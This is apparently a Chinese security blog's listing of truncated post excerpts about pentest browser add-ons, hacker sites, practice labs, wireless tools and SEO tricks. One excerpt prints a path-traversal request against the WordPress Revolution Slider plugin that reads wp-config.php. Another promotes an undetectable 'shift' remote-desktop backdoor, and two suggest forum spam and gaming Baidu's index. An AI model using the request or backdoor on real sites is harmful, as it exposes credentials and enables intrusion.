工欲善必先利其器，firefox一直是各位渗透师必备的利器，Mrxn这里推荐34款firefox渗透测试辅助插件，其中包含渗透测试、信息收集、代理、加密解密等功能。(下面的链接用火狐浏览器直接打开就可以安装了)1：Firebug ...

永不查杀的3389后门其原理就是利用shift后门，连敲5次shift键既可以直接进入服务器。 前些天在群里有个小伙伴问了一句谁知道shift后门的代码，当时我给了他一个链接，我总是觉得这个百度下就能找到吧，我查了一下，发现什么都有，有...

任意读取： /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php   任意上传： #!/usr/bin/p...

安全问题威胁着所有Web应用程序和网站，其中XSS（跨站脚本攻击）、SQL注入最为常见。开发者一旦忽视了这一方面，有可能会造成严重的后果。  开发者可通过Punkspider来检测自己的Web应用程序（网站）中是否存在安全隐患。...

本着好东西大家一起分享的角度出发，给大家分享一下，我自己在渗透测试过程中经常用到的一些网站。如果大家有好的建议和补充，可以在下方留言评论。NaviSec网址：http://navisec.it 网络安全人员的上网导航，安全人员必备网...

想获得国外最新的黑客技术吗？到这些网站上去看看吧，你一定会获得大丰收！这些都是欧美非常知名的黑客技术站点，地位就像是我们的安焦、看雪一样，英文好的话去看看吧！注意有些站点最好用国外的代理去看。http://www.milw0rm.com/h...

俗话说进攻是最好的防御，而这与信息安全世界并没有什么不同。通过这15个故意存漏洞网站来提升你的黑客技能，你会成为最好的防守者——无论你是一名开发人员、安全管理者、审计师或者测试人员。请牢记：熟能生巧！1、Bricks Brick...

WAIDPS是一个Python编写的无线入侵检测工具，基于Linux平台，完全开源。它可以探测包括WEP/WPA/WPS在内的无线入侵&攻击方式，并可以收集WiFi相关的所有信息。WAIDS适用于渗透测试工作者、无线安全爱好者，当发...

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!在电影里黑客都在大街上或者马路上直接用笔记本“嗒…嗒…嗒…”就把某个东西“黑”掉了——这都是通过无线的。本文将介绍一名无线安全工程师的装备库。‍2.4...

怎么提高网站的权重-锚文本 在各大权重高，人气旺的论坛中注册账号，设置个人签名，然后就到处顶贴。什么支持下，谢谢楼主分享、收下啦之类的，这样的顶贴其实没有太大的意义，下面我们总结下如何在论坛些好的文章并留下描文本。 ...

有些关键词或者长尾词在百度指数查询中不显示数据，这就说明这个词没有进入库中，那么我们该如何将这个词添加到百度的库中呢。如果你有钱的可以找付费软件刷上去，那么如果你只是一个小站长，没有这么多的资本去购买昂贵的软件刷百度指数该怎么办呢。 ...

http://www.cmd5.com/ http://www.md5.org.cn/ http://www.xmd5.com/ http://www.md5.or...